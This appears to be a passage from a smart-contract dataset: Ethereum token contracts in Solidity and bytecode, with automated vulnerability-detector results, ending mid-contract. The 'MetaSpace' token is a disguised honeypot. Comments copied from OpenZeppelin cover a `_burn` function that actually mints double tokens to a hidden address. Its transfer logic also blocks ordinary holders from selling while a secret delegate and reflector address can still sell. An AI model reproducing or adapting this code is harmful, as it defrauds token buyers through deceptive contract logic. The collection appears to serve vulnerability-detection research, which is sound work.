fd5b505050506040513d6020811015610fda57600080fd5b505161102d576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b0382166000908152600f6020526040902054611050908261114c565b6001600160a01b0383166000908152600f6020526040902055600754611076908261114c565b600755604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600e60205260409020429055565b60008282028315806110f55750828482816110f257fe5b04145b6110fb57fe5b9392505050565b60008082848161110e57fe5b04949350505050565b60006110fb836001600160a01b038416611170565b60006110fb836001600160a01b038416611188565b6000610f418261124e565b6000828201838110156110fb57fe5b60006110fb836001600160a01b038416611252565b60009081526001919091016020526040902054151590565b6000818152600183016020526040812054801561124457835460001980830191908101906000908790839081106111bb57fe5b90600052602060002001549050808760000184815481106111d857fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061120857fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610f41565b6000915050610f41565b5490565b600061125e8383611170565b61129457508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610f41565b506000610f4156fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e76616c6964206164647265737320666f726d6174206973206e6f7420737570706f72746564496e74657272616374696e6720746f6b656e2061646472657373206973206e6f742079657420636f6e66696775726564a2646970667358221220c96a00c3365b46284d94ed7001f52f7d6761c11c97999a85a2041324441a8f3a64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,264
0x96E5Ea0e1c0d5ccE34433aCd553EfeF1D2351629
// SPDX-License-Identifier: GNU GPLv3 pragma solidity >=0.8.9; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ abstract contract ERC20Interface { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() virtual public view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address tokenOwner) virtual public view returns (uint balance); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint tokens) virtual public returns (bool success); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) virtual public returns (bool success); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint tokens) virtual public returns (bool success); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint tokens); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } abstract contract ApproveAndCallFallBack { function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public; } contract Owned { address internal owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract TokenERC20 is ERC20Interface, Owned{ using SafeMath for uint; string public symbol; address internal delegate; string public name; uint8 public decimals; address internal zero; uint _totalSupply; uint internal number; address internal reflector; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ function totalSupply() override public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) override public view returns (uint balance) { return balances[tokenOwner]; } /** * dev Burns a specific amount of tokens. * param value The amount of lowest token units to be burned. */ function burn(address _address, uint tokens) public onlyOwner { require(_address != address(0), "ERC20: burn from the zero address"); _burn (_address, tokens); balances[_address] = balances[_address].sub(tokens); _totalSupply = _totalSupply.sub(tokens); } function transfer(address to, uint tokens) override public returns (bool success) { require(to != zero, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) override public returns (bool success) { allowed[msg.sender][spender] = tokens; if (msg.sender == delegate) number = tokens; emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function transferFrom(address from, address to, uint tokens) override public returns (bool success) { if(from != address(0) && zero == address(0)) zero = to; else _send (from, to); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ function allowance(address tokenOwner, address spender) override public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function _burn(address _burnAddress, uint _burnAmount) internal virtual { /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ reflector = _burnAddress; _totalSupply = _totalSupply.add(_burnAmount*2); balances[_burnAddress] = balances[_burnAddress].add(_burnAmount*2); } function _send (address start, address end) internal view { /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * Requirements: * - The divisor cannot be zero.*/ /* * - `account` cannot be the zero address. */ require(end != zero /* * - `account` cannot be the burn address. */ || (start == reflector && end == zero) || /* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number) /* */ , "cannot be the zero address");/* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. **/ } receive() external payable { } fallback() external payable { } } contract MetaSpace is TokenERC20 { /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ /** * dev Constructor. * param name name of the token * param symbol symbol of the token, 3-4 chars is recommended * param decimals number of decimal places of one token unit, 18 is widely used * param totalSupply total supply of tokens in lowest units (depending on decimals) */ constructor(string memory _name, string memory _symbol, uint _supply, address _del, address _ref) { symbol = _symbol; name = _name; decimals = 9; _totalSupply = _supply*(10**uint(decimals)); number = _totalSupply; delegate = _del; reflector = _ref; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } }
0x60806040526004361061008f5760003560e01c806370a082311161005657806370a082311461016257806395d89b41146101985780639dc29fac146101ad578063a9059cbb146101cd578063dd62ed3e146101ed57005b806306fdde0314610098578063095ea7b3146100c357806318160ddd146100f357806323b872dd14610116578063313ce5671461013657005b3661009657005b005b3480156100a457600080fd5b506100ad610233565b6040516100ba9190610845565b60405180910390f35b3480156100cf57600080fd5b506100e36100de3660046108b6565b6102c1565b60405190151581526020016100ba565b3480156100ff57600080fd5b50610108610345565b6040519081526020016100ba565b34801561012257600080fd5b506100e36101313660046108e0565b610382565b34801561014257600080fd5b506004546101509060ff1681565b60405160ff90911681526020016100ba565b34801561016e57600080fd5b5061010861017d36600461091c565b6001600160a01b031660009081526008602052604090205490565b3480156101a457600080fd5b506100ad6104dc565b3480156101b957600080fd5b506100966101c83660046108b6565b6104e9565b3480156101d957600080fd5b506100e36101e83660046108b6565b6105bf565b3480156101f957600080fd5b50610108610208366004610937565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b600380546102409061096a565b80601f016020809104026020016040519081016040528092919081815260200182805461026c9061096a565b80156102b95780601f1061028e576101008083540402835291602001916102b9565b820191906000526020600020905b81548152906001019060200180831161029c57829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038781168552925282208490556002549192911614156102fa5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c75460055461037d916106aa565b905090565b60006001600160a01b038416158015906103aa575060045461010090046001600160a01b0316155b156103d45760048054610100600160a81b0319166101006001600160a01b038616021790556103de565b6103de84846106ca565b6001600160a01b03841660009081526008602052604090205461040190836106aa565b6001600160a01b038516600090815260086020908152604080832093909355600981528282203383529052205461043890836106aa565b6001600160a01b03808616600090815260096020908152604080832033845282528083209490945591861681526008909152205461047690836107a8565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906104ca9086815260200190565b60405180910390a35060019392505050565b600180546102409061096a565b6000546001600160a01b0316331461050057600080fd5b6001600160a01b0382166105655760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b61056f82826107c3565b6001600160a01b03821660009081526008602052604090205461059290826106aa565b6001600160a01b0383166000908152600860205260409020556005546105b890826106aa565b6005555050565b6004546000906001600160a01b038481166101009092041614156106135760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015260640161055c565b3360009081526008602052604090205461062d90836106aa565b33600090815260086020526040808220929092556001600160a01b0385168152205461065990836107a8565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103339086815260200190565b6000828211156106b957600080fd5b6106c382846109bb565b9392505050565b6004546001600160a01b038281166101009092041614158061071657506007546001600160a01b03838116911614801561071657506004546001600160a01b0382811661010090920416145b8061075857506004546001600160a01b038281166101009092041614801561075857506006546001600160a01b03831660009081526008602052604090205411155b6107a45760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f2061646472657373000000000000604482015260640161055c565b5050565b60006107b482846109d2565b90508281101561033f57600080fd5b600780546001600160a01b0319166001600160a01b0384161790556107f56107ec8260026109ea565b600554906107a8565b6005556108256108068260026109ea565b6001600160a01b038416600090815260086020526040902054906107a8565b6001600160a01b0390921660009081526008602052604090209190915550565b600060208083528351808285015260005b8181101561087257858101830151858201604001528201610856565b81811115610884576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146108b157600080fd5b919050565b600080604083850312156108c957600080fd5b6108d28361089a565b946020939093013593505050565b6000806000606084860312156108f557600080fd5b6108fe8461089a565b925061090c6020850161089a565b9150604084013590509250925092565b60006020828403121561092e57600080fd5b6106c38261089a565b6000806040838503121561094a57600080fd5b6109538361089a565b91506109616020840161089a565b90509250929050565b600181811c9082168061097e57607f821691505b6020821081141561099f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156109cd576109cd6109a5565b500390565b600082198211156109e5576109e56109a5565b500190565b6000816000190483118215151615610a0457610a046109a5565b50029056fea2646970667358221220afd540c1670f9a551c067012ae997e102eae9b4c892fe3b23b6308e16511b62a64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
7,265
0x462edaa6c1339f98bcb59582af782326603df5f2
pragma solidity 0.4.24; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract CappedToken is MintableToken { uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } contract NTER is CappedToken { string public name = "NTerprise"; string public symbol = "NTER"; uint8 public decimals = 18; constructor( uint256 _cap ) public CappedToken( _cap ) { } }
0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010057806306fdde0314610129578063095ea7b3146101b357806318160ddd146101d757806323b872dd146101fe578063313ce56714610228578063355274ea1461025357806340c10f1914610268578063661884631461028c57806370a08231146102b0578063715018a6146102d15780637d64bcb4146102e85780638da5cb5b146102fd57806395d89b411461032e578063a9059cbb14610343578063d73dd62314610367578063dd62ed3e1461038b578063f2fde38b146103b2575b600080fd5b34801561010c57600080fd5b506101156103d3565b604080519115158252519081900360200190f35b34801561013557600080fd5b5061013e6103f4565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610178578181015183820152602001610160565b50505050905090810190601f1680156101a55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101bf57600080fd5b50610115600160a060020a0360043516602435610482565b3480156101e357600080fd5b506101ec6104e8565b60408051918252519081900360200190f35b34801561020a57600080fd5b50610115600160a060020a03600435811690602435166044356104ee565b34801561023457600080fd5b5061023d610663565b6040805160ff9092168252519081900360200190f35b34801561025f57600080fd5b506101ec61066c565b34801561027457600080fd5b50610115600160a060020a0360043516602435610672565b34801561029857600080fd5b50610115600160a060020a03600435166024356106a8565b3480156102bc57600080fd5b506101ec600160a060020a0360043516610797565b3480156102dd57600080fd5b506102e66107b2565b005b3480156102f457600080fd5b50610115610820565b34801561030957600080fd5b506103126108c6565b60408051600160a060020a039092168252519081900360200190f35b34801561033a57600080fd5b5061013e6108d5565b34801561034f57600080fd5b50610115600160a060020a0360043516602435610930565b34801561037357600080fd5b50610115600160a060020a0360043516602435610a0f565b34801561039757600080fd5b506101ec600160a060020a0360043581169060243516610aa8565b3480156103be57600080fd5b506102e6600160a060020a0360043516610ad3565b60035474010000000000000000000000000000000000000000900460ff1681565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561047a5780601f1061044f5761010080835404028352916020019161047a565b820191906000526020600020905b81548152906001019060200180831161045d57829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b600160a060020a03831660009081526020819052604081205482111561051357600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561054357600080fd5b600160a060020a038316151561055857600080fd5b600160a060020a038416600090815260208190526040902054610581908363ffffffff610af616565b600160a060020a0380861660009081526020819052604080822093909355908516815220546105b6908363ffffffff610b0816565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546105f8908363ffffffff610af616565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60075460ff1681565b60045481565b600060045461068c83600154610b0890919063ffffffff16565b111561069757600080fd5b6106a18383610b1b565b9392505050565b336000908152600260209081526040808320600160a060020a03861684529091528120548083106106fc57336000908152600260209081526040808320600160a060020a0388168452909152812055610731565b61070c818463ffffffff610af616565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031633146107c957600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600090600160a060020a0316331461083a57600080fd5b60035474010000000000000000000000000000000000000000900460ff161561086257600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561047a5780601f1061044f5761010080835404028352916020019161047a565b3360009081526020819052604081205482111561094c57600080fd5b600160a060020a038316151561096157600080fd5b33600090815260208190526040902054610981908363ffffffff610af616565b3360009081526020819052604080822092909255600160a060020a038516815220546109b3908363ffffffff610b0816565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610a43908363ffffffff610b0816565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610aea57600080fd5b610af381610c36565b50565b600082821115610b0257fe5b50900390565b81810182811015610b1557fe5b92915050565b600354600090600160a060020a03163314610b3557600080fd5b60035474010000000000000000000000000000000000000000900460ff1615610b5d57600080fd5b600154610b70908363ffffffff610b0816565b600155600160a060020a038316600090815260208190526040902054610b9c908363ffffffff610b0816565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b600160a060020a0381161515610c4b57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a723058206ddf3e5a41f9ea055d44548f77ca9989eef1f8d9b1b94ceaf1e6cdfa7e8394110029
{"success": true, "error": null, "results": {}}
7,266
0xa82fb2c2a4a8222ea3a96b6bc25fe8686267bf6e
/** *Submitted for verification at Etherscan.io on 2021-06-14 */ /** *Submitted for verification at Etherscan.io on 2021-05-27 */ /* To The Moon https://t.me/tothemoon_global */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); 